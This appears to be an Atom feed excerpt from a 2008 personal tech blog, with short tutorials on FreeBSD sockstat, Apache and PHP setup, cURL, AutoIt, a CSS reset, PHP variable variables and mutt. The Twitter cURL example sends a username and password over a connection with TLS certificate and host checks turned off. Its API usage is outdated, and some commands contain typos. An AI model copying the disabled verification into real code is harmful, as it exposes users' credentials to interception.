		<link href="https://www.marksanborn.net/howto/how-do-i-find-open-ports-on-freebsd/index.html" />
		<updated>2008-08-20T00:00:00Z</updated>
		<id>https://www.marksanborn.net/howto/how-do-i-find-open-ports-on-freebsd/index.html</id>
		<content type="html">&lt;p&gt;Sometimes it is helpful to know which ports are currently open on your server.  On my FreeBSD servers I like to use the &lt;strong&gt;sockstat&lt;/strong&gt; command.  It is very similar to the &lt;strong&gt;netstat&lt;/strong&gt; command for Windows or Linux.  You can configure it to show IPv4 ports, IPv6 or both.&lt;/p&gt;

&lt;p&gt;One of the benefits of checking your server&amp;rsquo;s open ports with sockstat, is its ability to generate a quick list of all your services.  Once you have a list of services listening on specific ports you can go through each one and see if you really need it.  This is helpful because reducing unneeded services is often the first recommended step towards securing a server.&lt;/p&gt;

&lt;p&gt;A list of active services also gives you an idea of which ports you need to allow through your firewall.  This is especially useful if you use a &amp;ldquo;deny all by defaut&amp;rdquo; type configuration.&lt;/p&gt;

&lt;p&gt;To get a quick list of open ports I use:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;sockstat -4 -l&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;This command shows all &lt;strong&gt;l&lt;/strong&gt;istening IPv4 ports.&lt;/p&gt;

&lt;p&gt;To check IPv6 ports you would use:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;sockstat -6 -l&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;And then of course if you want to display all ports simply use:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;sockstat&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Another useful thing to do is print off the list for future reference by piping the output to the printer (lpr).&lt;/p&gt;

&lt;p&gt;&lt;code&gt;socstat -4 -l | lpr&lt;/code&gt;&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Installing Apache on FreeBSD 7.0</title>
		<link href="https://www.marksanborn.net/uncategorized/installing-apache-on-freebsd-70/index.html" />
		<updated>2008-08-14T00:00:00Z</updated>
		<id>https://www.marksanborn.net/uncategorized/installing-apache-on-freebsd-70/index.html</id>
		<content type="html">&lt;p&gt;Now that you &lt;a href=&#34;/freebsd/installing-mysql-51-on-freebsd-70/&#34;&gt;have MySQL installed&lt;/a&gt; you might want to install the famous &lt;a href=&#34;http://httpd.apache.org/&#34;&gt;Apache web browser&lt;/a&gt; on your FreeBSD system.  This post will be a quick walk through for installing Apache with PHP5 with mostly default settings to help you get going quick.&lt;/p&gt;

&lt;!--more--&gt;

&lt;p&gt;To install the latest version of Apache run this as root:&lt;/p&gt;

&lt;p&gt;`# cd /usr/ports/www/apache22&lt;/p&gt;

&lt;h1&gt;make install clean`&lt;/h1&gt;

&lt;p&gt;I find that the defaults are usually fine when compilling this since you will be adding the PHP5 module later.  So when the options screen comes up just go ahead and hit ok.&lt;/p&gt;

&lt;p&gt;Then once it is installed you can start it by doing&lt;/p&gt;

&lt;p&gt;&lt;code&gt;# /usr/local/sbin/apachectl start&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;To run apache www server from startup, add apache22_enable=&amp;ldquo;YES&amp;rdquo; to your /etc/rc.conf file.&lt;/p&gt;

&lt;p&gt;You might then want to go to your webserver either by viewing in a console browser and pointing it to &amp;lsquo;&lt;strong&gt;127.0.0.1&lt;/strong&gt;&amp;rsquo; or use a networked computer with a browser and point it to your FreeBSD machine&amp;rsquo;s IP address.&lt;/p&gt;

&lt;h3&gt;Installing PHP5&lt;/h3&gt;

&lt;p&gt;To install the base language files do:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;/usr/ports/lang/php5
make install clean&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;When the options screen comes up make sure you select &amp;ldquo;build Apache module&amp;rdquo;.&lt;/p&gt;

&lt;p&gt;Then open up &amp;lsquo;&lt;strong&gt;/usr/local/etc/apache22/httpd.conf&lt;/strong&gt;&amp;rsquo; and as instructed by the php5 port you will want to add index.php to the DirectoryIndex.&lt;/p&gt;

&lt;p&gt;Then also as instructed by the PHP5 port add these lines near the bottom of the config.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;AddType application/x-httpd-php .php
AddType application/x-httpd-php-source .phps&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Then you will need to create the php.ini file.  For ease of getting this working fast.  We will stick with the defaults.  Just do&amp;hellip;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;/usr/local/www/apache22/data]# cp /usr/local/etc/php.ini-dist /usr/local/etc/php.ini&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;After you have added this you can go ahead and restart Apache to see your changes.  To restart do:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;/usr/local/sbin/apachectl restart&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;You can test to see if php works easily by making a file called test.php in &amp;lsquo;&lt;strong&gt;/usr/local/www/apache22/data/&lt;/strong&gt;&amp;rsquo; with the regular phpinfo code.  Then simply point your browser to &amp;lsquo;&lt;strong&gt;youripaddress/test.php&lt;/strong&gt;&amp;rsquo;.&lt;/p&gt;

&lt;p&gt;Thats it!&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Getting Your Twitter Updates with Curl</title>
		<link href="https://www.marksanborn.net/howto/getting-your-twitter-updates-with-curl/index.html" />
		<updated>2008-08-12T00:00:00Z</updated>
		<id>https://www.marksanborn.net/howto/getting-your-twitter-updates-with-curl/index.html</id>
		<content type="html">&lt;p&gt;I have had some serious issues integrating Twitter into my site using the javascript method.  Firefox seems to load the twitter updates every time without a problem; however, Internet Explorer and Opera both have issues.&lt;/p&gt;

&lt;!--more--&gt;

&lt;p&gt;Opera for example will load the twitter updates on the first load of the page or if the twitter feed has been updated but will not load the second time the page is loaded.  You can see this on a number of sites that use the javascript method of gathering twitter updates.  Just go to their site and hit refresh and the twitter updates will disapear.  Even sites that use &lt;a href=&#34;http://code.google.com/p/twitterjs/&#34;&gt;twitterjs script&lt;/a&gt; from code.google.com don&amp;rsquo;t load properly after a refresh.&lt;/p&gt;

&lt;p&gt;With Internet Explorer I found that it was hit or miss.  Sometimes they would load sometimes they wouldn&amp;rsquo;t.  In my testing I found that Internet explorer behaved exactly like Opera; although, I have seen some sites that have gotten it to work.&lt;/p&gt;

&lt;p&gt;After messing with these browsers trying to get it to work I decided to bag the whole thing and store the twitter updates in a database using PHP and &lt;a href=&#34;http://curl.haxx.se/&#34;&gt;cURL&lt;/a&gt;.&lt;/p&gt;

&lt;h4&gt;The advantages:&lt;/h4&gt;

&lt;p&gt;You can minipulate the data any way you choose.
You&amp;rsquo;re not limited by only recieving the data &amp;gt;li&amp;lt; format.
If twitter is down you can still display your latest tweets.
Since the code is in PHP and not JavaScript I can utilize wp-cache&lt;/p&gt;

&lt;h4&gt;The disadvantages:&lt;/h4&gt;

&lt;p&gt;Since I will be pulling the data from twitter and storing it periodically there may be a delay before my site recieves the latest tweets.&lt;/p&gt;

&lt;h3&gt;Getting the Tweets with cURL&lt;/h3&gt;

&lt;p&gt;This is the function I came up with to grab the tweets from Twitter.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;function twitterCapture() {
        // Set your username and password here
        $user = &#39;YOUREMAILADDRESS&#39;;
        $password = &#39;YOURPASSWORD&#39;;

        $ch = curl_init(&amp;quot;https://twitter.com/statuses/user_timeline.xml&amp;quot;);
        curl_setopt($ch, CURLOPT_HEADER, 1);
        curl_setopt($ch,CURLOPT_TIMEOUT, 30);
        curl_setopt($ch,CURLOPT_USERPWD,$user . &amp;quot;:&amp;quot; . $password);
        curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
        curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
        curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
        $result=curl_exec ($ch);
        $data = strstr($result, &#39;&amp;lt;?&#39;);

        $xml = new SimpleXMLElement($data);

        return $xml;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;h3&gt;Code Explanation&lt;/h3&gt;

&lt;p&gt;The first part of the code is here so you can set your username and password.  Replace these values with your actual username and password.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;// Set your username and password here
        $user = &#39;YOUREMAILADDRESS&#39;;
        $password = &#39;YOURPASSWORD&#39;;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;This next part of the code tells cURL which site to open.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$ch = curl_init(&amp;quot;https://twitter.com/statuses/user_timeline.xml&amp;quot;);
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;If you check out the &lt;a href=&#34;http://groups.google.com/group/twitter-development-talk/web/api-documentation&#34;&gt;Twitter API&lt;/a&gt; you will notice that this URL will output different responses based on the last part of the URL.  Possible formats are: &lt;strong&gt;xml&lt;/strong&gt;, &lt;strong&gt;json&lt;/strong&gt;, &lt;strong&gt;rss&lt;/strong&gt;, &lt;strong&gt;atom&lt;/strong&gt;.  In this case we used &lt;strong&gt;XML&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;The next part of the code are the cURL options.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;curl_setopt($ch, CURLOPT_HEADER, 1);  
curl_setopt($ch,CURLOPT_TIMEOUT, 30);  
curl_setopt($ch,CURLOPT_USERPWD,$user . &amp;quot;:&amp;quot; . $password);  
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);  
curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);  
curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;The first option, &lt;strong&gt;CURLOPT_HEADER&lt;/strong&gt;, simply says that we want to see the http header.  This is useful for when twitter throws out a 502 or 503 error.  This allows you to build into your script error reporting functions to alert you that your script can&amp;rsquo;t reach out to Twitter.&lt;/p&gt;

&lt;p&gt;The second option, &lt;strong&gt;CURLOPT_TIMEOUT&lt;/strong&gt;, is the time in seconds that we give cURL to complete its task.&lt;/p&gt;

&lt;p&gt;The next option, &lt;strong&gt;CURLOPT_USERPWD&lt;/strong&gt;, is the username and password curl shall use if requested.  In our case it is.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;CURLOPT_RETURNTRANSFER&lt;/strong&gt;, is used when we want to return the data instead of printing it to the screen.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;CURLOPT_SSL_VERIFYPEER&lt;/strong&gt; and &lt;strong&gt;CURLOPT_SSL_VERIFYHOST&lt;/strong&gt;when set to &amp;lsquo;&lt;strong&gt;0&lt;/strong&gt;&amp;rsquo; are used to ignore SSL errors.  You might want to change CURLOPT_SSL_VERIFYHOST to &amp;lsquo;&lt;strong&gt;1&lt;/strong&gt;&amp;rsquo; once you get your code working.  This will ensure that you don&amp;rsquo;t accidently send your username password to a site pretending to be Twitter.&lt;/p&gt;

&lt;p&gt;This part of the code executes cURL and puts the XML part of the code into the variable &amp;lsquo;&lt;strong&gt;$data&lt;/strong&gt;&amp;rsquo;.  We had to use the function &lt;strong&gt;strstr&lt;/strong&gt; because cURL also returns the HTTP header as per our, &lt;strong&gt;CURLOPT_HEADER&lt;/strong&gt; option.  Our parser only wants the stuff that starts with, &amp;lt;?.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$result=curl_exec ($ch);
$data = strstr($result, &#39;&amp;lt;?&#39;);
&lt;/code&gt;&lt;/pre&gt;

&lt;h3&gt;Usage&lt;/h3&gt;

&lt;p&gt;Simply call the function like this:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$xml = twitterCapture();
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Then all you have to do is echo the part of the xml you want.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;echo $xml-&amp;gt;status[0]-&amp;gt;text;
echo $xml-&amp;gt;status[1]-&amp;gt;text;
echo $xml-&amp;gt;status[2]-&amp;gt;text;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;This would echo out the three most recent tweets.  You can also pull other information such as, creation date and profile pictures.  Just look at the XML response to find out what other values you might want to pull.&lt;/p&gt;

&lt;p&gt;I recommend grabbing the the updates from Twitter and storing them in a text file or database every so often.  I wouldn&amp;rsquo;t run a cURL fetch each time the page loads.  This can cause problems if the Twitter is down and your vistors may have to wait up to 30 seconds (whatever your CURLOPT_TIMEOUT is set to).  Then point your blog/website to the text file or database.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Weekend Link Roundup: Week 18</title>
		<link href="https://www.marksanborn.net/links/weekend-link-roundup-week-18/index.html" />
		<updated>2008-08-09T00:00:00Z</updated>
		<id>https://www.marksanborn.net/links/weekend-link-roundup-week-18/index.html</id>
		<content type="html">&lt;p&gt;&lt;a href=&#34;http://www.cs.sunysb.edu/documentation/curl/index.html&#34;&gt;curl usage explained&lt;/a&gt; - I love curl!&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://code.google.com/support/bin/answer.py?answer=78451&#34;&gt;Using cURL to interact with Google data services&lt;/a&gt; - A great resource from Google showing common usages of cURL interacting with their services.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://www.eff.org/testyourisp&#34;&gt;Test your ISP&lt;/a&gt; - This is a very interesting project lead by the Electronic Frontier Foundation.  In light of the recent comcast debacle they have started a project that helps you determine if your ISP is up to no good.  They also have a list of free apps to help out.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://lifehacker.com/399812/philipp-lenssens-top-google-apps-tips&#34;&gt;Google Apps Tips&lt;/a&gt; - If you are like me you use Google apps for pretty much everything.  Here are some nice tips for managing your email, docs, and more.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://www.cyberciti.biz/tips/largest-us-id-fraud-case.html&#34;&gt;The Largest Wifi Wireless Cracking Ever&lt;/a&gt; - Time and time again I tell people to at least &lt;a href=&#34;/security/wireless-network-security/&#34;&gt;turn on WPA on their wireless routers&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://raggle.org/&#34;&gt;Raggle&lt;/a&gt; - A sweet console based RSS reader that uses vim like shortcuts and easy to configure.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://eriwen.com/tools/get-sed-savvy-1/&#34;&gt;Get sed savvy&lt;/a&gt; - If you are into automating things, using regular expressions, and learning the REAL &amp;ldquo;power user tools&amp;rdquo;, this article is for you.  It gives a nice introduction to &lt;strong&gt;sed&lt;/strong&gt; an extremely powerful program.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://www.chiark.greenend.org.uk/~sgtatham/putty/&#34;&gt;PuTTY: a free telnet/ssh client&lt;/a&gt; - Since I used this program constantly I thought I would get a shout out to PuTTY.  A wonderful ssh client for windows.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Introduction to AutoIt</title>
		<link href="https://www.marksanborn.net/howto/introduction-to-autoit/index.html" />
		<updated>2008-08-08T00:00:00Z</updated>
		<id>https://www.marksanborn.net/howto/introduction-to-autoit/index.html</id>
		<content type="html">&lt;p&gt;Ever dream about automating mundane tasks?  Or wish you could train you computer to do your work for you?  I think we would all love to have the power of automation in our lives.  With AutoIt we can easily take a boring repetitive task and automate it.  AutoIt can send key strokes and mouse movements to your computer.  But what makes AutoIt most useful is that it is actually a scripting language allowing If/then logic, flow control, variables and has support for PCRE (Pearl Compatible Regular Expressions).  Once you create your script you can even compile it into a single .exe file.&lt;/p&gt;

&lt;p&gt;I hope to highlight the most used functions that I used and some of the syntax, as well as get you started with some example code.&lt;/p&gt;

&lt;!--more--&gt;

&lt;h3&gt;Downloading Autoit&lt;/h3&gt;

&lt;p&gt;Go ahead and head over to &lt;a href=&#34;http://www.autoitscript.com/autoit3/downloads.shtml&#34;&gt;autoit&amp;rsquo;s website&lt;/a&gt; and download &lt;a href=&#34;http://www.autoitscript.com/cgi-bin/getfile.pl?autoit3/autoit-v3-setup.exe&#34;&gt;Autoitv3 Full Installation&lt;/a&gt;.  You will also benefit by getting the &lt;a href=&#34;http://www.autoitscript.com/autoit3/scite/downloads.shtml&#34;&gt;script editor&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;When you go to install the software there will be an option on how to handle .au3 files.  I usually select run since there is a right click menu for editing through the SciTE editor.&lt;/p&gt;

&lt;h3&gt;The basics&lt;/h3&gt;

&lt;p&gt;Start off by making a file called &lt;strong&gt;MyFirstScript.au3&lt;/strong&gt;.  Then right click on it and select edit script (assuming you installed the script editor).&lt;/p&gt;

&lt;p&gt;Then we will add our first function, &lt;strong&gt;MouseMove&lt;/strong&gt;:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;MouseMove(500,500,1)&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Save your script with a &lt;strong&gt;ctrl+s&lt;/strong&gt; and run it by double clicking your .au3 file.  Did you see it?  It might have been fast but you just told your computer to move the mouse to the coords 500w by 500h.  The 1 at the end of the code is the speed at which your mouse travels, 1 being almost instantaneous.  Go ahead try putting different values and make your mouse move around.&lt;/p&gt;

&lt;h4&gt;Comments&lt;/h4&gt;

&lt;p&gt;Comments in autoit are a bit strange.  They use a semicolon.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;;This function will move my mouse
MouseMove(500,500,1)&lt;/code&gt;&lt;/p&gt;

&lt;h4&gt;Sending keystrokes&lt;/h4&gt;

&lt;p&gt;The next thing you will probably want to do is send a keystroke.  To send text and keytext you will use the &lt;strong&gt;send()&lt;/strong&gt; function.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;send(&amp;quot;{TAB}{ENTER}{DOWN}&amp;quot;)&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;This would obviously hit the tab button, then enter, then down.  By default most commands in autoit are delayed by fractions of a second because if they wernt it would be hard to distinguish between hitting a key at the same time or seperately.  In this cause the tab, enter, and down would be hit one by one in less than a second.  NOT at the same time.  More on this later.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;send(&amp;quot;I love this site&amp;quot;)&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;This code would print out, &amp;ldquo;&lt;strong&gt;I love this site&lt;/strong&gt;&amp;rdquo; as if it were typed in by hand.&lt;/p&gt;

&lt;h4&gt;Sleeping&lt;/h4&gt;

&lt;p&gt;Autoit is very powerful and can execute commands too quickly if you are not careful.  Most of the functions actually have a speed variable or they are default delayed by fractions of seconds to limit the chance of going to fast.  The best way to slow the script down is using the &lt;strong&gt;sleep&lt;/strong&gt; command.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;sleep(1000)&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Since the sleep function is in milliseconds, this code would hold the script from further processing for one second.  500 would be half of one second.&lt;/p&gt;

&lt;h4&gt;If/Then&lt;/h4&gt;

&lt;p&gt;If statements are structured like this:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;If $confirm == 6 Then
;Do something here
Else
     Exit
EndIf&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Which brings me to my next point&amp;hellip;&lt;/p&gt;

&lt;h4&gt;Variables&lt;/h4&gt;

&lt;p&gt;Variables in autoit are similar to php.  They use the dollar sign naming convention&lt;/p&gt;

&lt;p&gt;&lt;code&gt;;Get the contents of the clipboard and put it in a string
$clipboardContents = getClip()&lt;/code&gt;&lt;/p&gt;

&lt;h4&gt;Execute code when a shortcut is pressed&lt;/h4&gt;

&lt;p&gt;The easiest way to do this is make a never ending loop that is waiting for a specific keystroke.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;#include&amp;lt;misc.au3&amp;gt; ;needed to capture keystrokes
While 1
If _IsPressed(&amp;quot;11&amp;quot;) And _IsPressed(&amp;quot;31&amp;quot;) Then
;Do your movements here
EndIf
Wend&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;This snippit would execute code with the combination of &lt;strong&gt;ctrl+1&lt;/strong&gt; was pressed.  You may wonder what the &lt;strong&gt;11&lt;/strong&gt; and &lt;strong&gt;31&lt;/strong&gt; is then.  They are &lt;a href=&#34;http://delphi.about.com/od/objectpascalide/l/blvkc.htm&#34;&gt;ascii codes&lt;/a&gt;.&lt;/p&gt;

&lt;h4&gt;Common keys used&lt;/h4&gt;

&lt;p&gt;BACKSPACE {BACKSPACE}, {BS}, or {BKSP}
BREAK {BREAK}
CAPS LOCK {CAPSLOCK}
DEL or DELETE {DELETE} or {DEL}
DOWN ARROW {DOWN}
END {END}
ENTER {ENTER}or ~
ESC {ESC}
HELP {HELP}
HOME {HOME}
INS or INSERT {INSERT} or {INS}
LEFT ARROW {LEFT}
NUM LOCK {NUMLOCK}
PAGE DOWN {PGDN}
PAGE UP {PGUP}
PRINT SCREEN {PRTSC}
RIGHT ARROW {RIGHT}
SCROLL LOCK {SCROLLLOCK}
TAB {TAB}
UP ARROW {UP}
F1 {F1}
F2 {F2}
F3 {F3}
F4 {F4}
F5 {F5}
F6 {F6}
F7 {F7}
F8 {F8}
F9 {F9}
F10 {F10}
F11 {F11}
F12 {F12}
F13 {F13}
F14 {F14}
F15 {F15}
F16 {F16}&lt;/p&gt;

&lt;h4&gt;What can you do with it?&lt;/h4&gt;

&lt;p&gt;Well, its most common usage is automating installs.  When people make unattended Windows CDs they usually want to install a list of apps that they use all the time.  Many times these apps have automation install flags.  For example Firefox can be installed with, &amp;ldquo;start /wait setup.exe -ms -ira&amp;rdquo;.&lt;/p&gt;

&lt;p&gt;The problem is that some programs don&amp;rsquo;t have these automation flags and some people want more control over the installation other than the defaults.  This is where autoit comes in.&lt;/p&gt;

&lt;p&gt;You can also automate pretty much anything that requires mouse and keystrokes.  It might be as simple as making a script that opens up multiple programs or as complex as an auto aim bot for a video game.&lt;/p&gt;

&lt;p&gt;I can tell you right now that you will probably get addicted to automating once you get started.  I have automated tons of stuff with this already.  There is just so much you can do with it.&lt;/p&gt;

&lt;p&gt;Stay tuned for more later&amp;hellip;&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Sending Post Data With cURL</title>
		<link href="https://www.marksanborn.net/howto/sending-post-data-with-curl/index.html" />
		<updated>2008-08-07T00:00:00Z</updated>
		<id>https://www.marksanborn.net/howto/sending-post-data-with-curl/index.html</id>
		<content type="html">&lt;p&gt;I have a script on my local computer that needs to send data to my website for further processesing.  To accomplish this I use a powerful tool called &lt;a href=&#34;http://curl.haxx.se/&#34;&gt;cURL&lt;/a&gt;.  cURL is an open source program that lets me send or recieve HTML data in pretty much any structure you could think of.  I am going to use cURL to send POST data to a PHP script on the site.&lt;/p&gt;

&lt;!--more--&gt;

&lt;p&gt;Make sure you have cURL.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;curl -V&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;This should print out the version of cURL you have.  Note their are some bugs in older versions of cURL that doesn&amp;rsquo;t handle DNS very well and can cause your scripts to slow down.  Make sure you are up to date.&lt;/p&gt;

&lt;p&gt;To Install cURL on a debian based system do:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;apt-get install curl&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;First thing you will want to do is test your cURL by just pointing it to your website.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;curl https://www.marksanborn.net/&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;If everything is well curl should output all of the HTML to your screen.&lt;/p&gt;

&lt;p&gt;Next thing you will want to do is setup your PHP script to accept POST data.  A simple script might look something like this:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;lt;?php
$value1 = $_POST[&#39;value1&#39;];
$value2 = $_POST[&#39;value2&#39;];
$value3 = $_POST[&#39;value3&#39;];

if ($value1 == &#39;foobar&#39;) {
    // Do something with it.
} else {
    echo &#39;Invalid Request&#39;;
}
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Of course if you are doing any MySQL data exchanges or anything else of that nature you will want to &lt;a href=&#34;/php/using-php-to-accept-only-numbers-from-user-input/&#34;&gt;sanatize the data&lt;/a&gt; before using it.&lt;/p&gt;

&lt;p&gt;Then to send the data with cURL you send:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;curl -d &amp;quot;value1=foo&amp;amp;value2;=foo2&amp;amp;value3;=foo3&amp;quot; https://www.marksanborn.net/someScript.php&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;Real world example&lt;/h3&gt;

&lt;p&gt;For those of you that are wondering what you could do with this, I will give you a real world example.&lt;/p&gt;

&lt;p&gt;I built a BASH script that will send the tracking number, ship method, and order number to Google checkout.  Google checkout will then process the order, send an email out to the customer, and archive the order.  In other words, after every label is printed from the local shipping computer it runs a BASH script with the tracking number and the BASH script sends all the info up to Google.&lt;/p&gt;

&lt;p&gt;You could use this for any website that has post fields (as long as it doesnt have a captcha). So you could send automatic twitter messages or &lt;a href=&#34;http://code.google.com/support/bin/answer.py?answer=78451&#34;&gt;interact with Google services&lt;/a&gt;.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Get Consistent Margins In Your CSS</title>
		<link href="https://www.marksanborn.net/programming/get-consistent-margins-in-your-css/index.html" />
		<updated>2008-08-06T00:00:00Z</updated>
		<id>https://www.marksanborn.net/programming/get-consistent-margins-in-your-css/index.html</id>
		<content type="html">&lt;p&gt;Getting consistent margins in CSS across all browsers can be a pain.  I have tried quite a few CSS clears but this one seems to work the best for me.  The reason these come in handy is because IE, Firefox, and Opera all have different default margins and can cause weird formatting issues later on.  This is why I usually include this on the first line of my CSS sheets.  This clears out all the margin values so that I can set them later for a consistent layout across all browsers.&lt;/p&gt;

&lt;!--more--&gt;

&lt;pre&gt;&lt;code&gt;html, body, div, h1, h2, h3, h4, h5, h6, ul, ol, dl, li, dt, dd, p, blockquote, pre, form, fieldset, table, th, td { margin: 0; padding: 0; }
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Some people just do a:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;* {
  margin: 0;
  padding: 0;
}&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;But I have found that it effects more elements than necessary.  After doing more research I found some articles that explain why this is way is bad in more detail.  Check out &lt;a href=&#34;http://www.christianmontoya.com/2007/02/01/css-techniques-i-use-all-the-time/&#34;&gt;this&lt;/a&gt; post and &lt;a href=&#34;http://css-tricks.com/margin-0-padding-0-no-longer-cool/&#34;&gt;this&lt;/a&gt; one for more information.&lt;/p&gt;

&lt;p&gt;I have found that this CSS reset has worked for me in the past.  It might not be the best solution but it is what I use.  What do you use?&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Using Variable Variables in PHP</title>
		<link href="https://www.marksanborn.net/php/using-variable-variables-in-php/index.html" />
		<updated>2008-08-05T00:00:00Z</updated>
		<id>https://www.marksanborn.net/php/using-variable-variables-in-php/index.html</id>
		<content type="html">&lt;p&gt;When I was codeing I didn&amp;rsquo;t know how in the world I was going to be able to have incrementing variables in my code.  That was until I searched the php.net website and came up with &lt;a href=&#34;http://us.php.net/language.variables.variable&#34;&gt;variable variables&lt;/a&gt;.  I had no idea what these were until now.&lt;/p&gt;

&lt;!--more--&gt;

&lt;h3&gt;The problem&lt;/h3&gt;

&lt;p&gt;Recently I needed to loop through a few items in a shopping cart and send it through a function that encodes the data and sends it off to Google Checkout.  The problem was that each function needed to be refrenced by a different variable name otherwise the items would all end up being the same.&lt;/p&gt;

&lt;p&gt;When you want your variable names to change in PHP you need to use variable variables.&lt;/p&gt;

&lt;h3&gt;An example&lt;/h3&gt;

&lt;pre&gt;&lt;code&gt;$item = &amp;quot;item_$counter&amp;quot;;
$total_count = $quantity;

$$item = new GoogleItem(&amp;quot;$productName - $productSize&amp;quot;,  // Item name
&amp;quot;product description&amp;quot;, // Item description
$total_count, // Quantity
$price); // Unit price                                                                                                                                                                 $cart-&amp;gt;AddItem($$item);
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Basically what is happneing is my variable name is stored in a variable called $item.  That variable is set to a value of &lt;strong&gt;item_$counter&lt;/strong&gt;.  In my loop this code will increment the counter and make a item_1, item_2, item_3 etc..&lt;/p&gt;

&lt;p&gt;This is the first time I have encountered these gems.  Anyone else have to use them?&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Reading HTML Email with Mutt</title>
		<link href="https://www.marksanborn.net/howto/reading-html-email-with-mutt/index.html" />
		<updated>2008-08-04T00:00:00Z</updated>
		<id>https://www.marksanborn.net/howto/reading-html-email-with-mutt/index.html</id>
		<content type="html">&lt;p&gt;Mutt is &lt;a href=&#34;/software/why-i-use-mutt/&#34;&gt;my new favorite productivity tool&lt;/a&gt;.  I have been blazing through my emails and setting up custom macros and commands like crazy.  I have have found myself optimizing mutt more than actual reading email since it makes checking email go by so fast.  Like &lt;a href=&#34;/linux/making-gvim-your-default-text-editor-in-gnome/&#34;&gt;Vim&lt;/a&gt; I would say mutt has dramatically changed the way I do things.&lt;/p&gt;

&lt;!--more--&gt;

&lt;p&gt;One of the things I get a little annoyed by is emails written in HTML.  I have no need for images and other garbage filled emails.  I would say 90% of the emails that contain HTML are spam; however, I occasionally I needed to read those HTML emails.&lt;/p&gt;

&lt;p&gt;The only thing you have to do for Mutt to read HTML is tell it which browser you want to open.&lt;/p&gt;

&lt;h3&gt;Setting it all up&lt;/h3&gt;

&lt;p&gt;First install Links2 with your distro&amp;rsquo;s package manager.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;apt-get install links2&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Then create a file called, .mailcap in your home directory with the following lines:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;text/html;                      links2 %s; nametemplate=%s.html
text/html;                      links2 -dump %s; nametemplate=%s.html; copiousoutput&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;This will tell mutt to open the html files with links2 and then dump them back to the screen.  This is handy so you don&amp;rsquo;t have to open the full links2 browser.&lt;/p&gt;

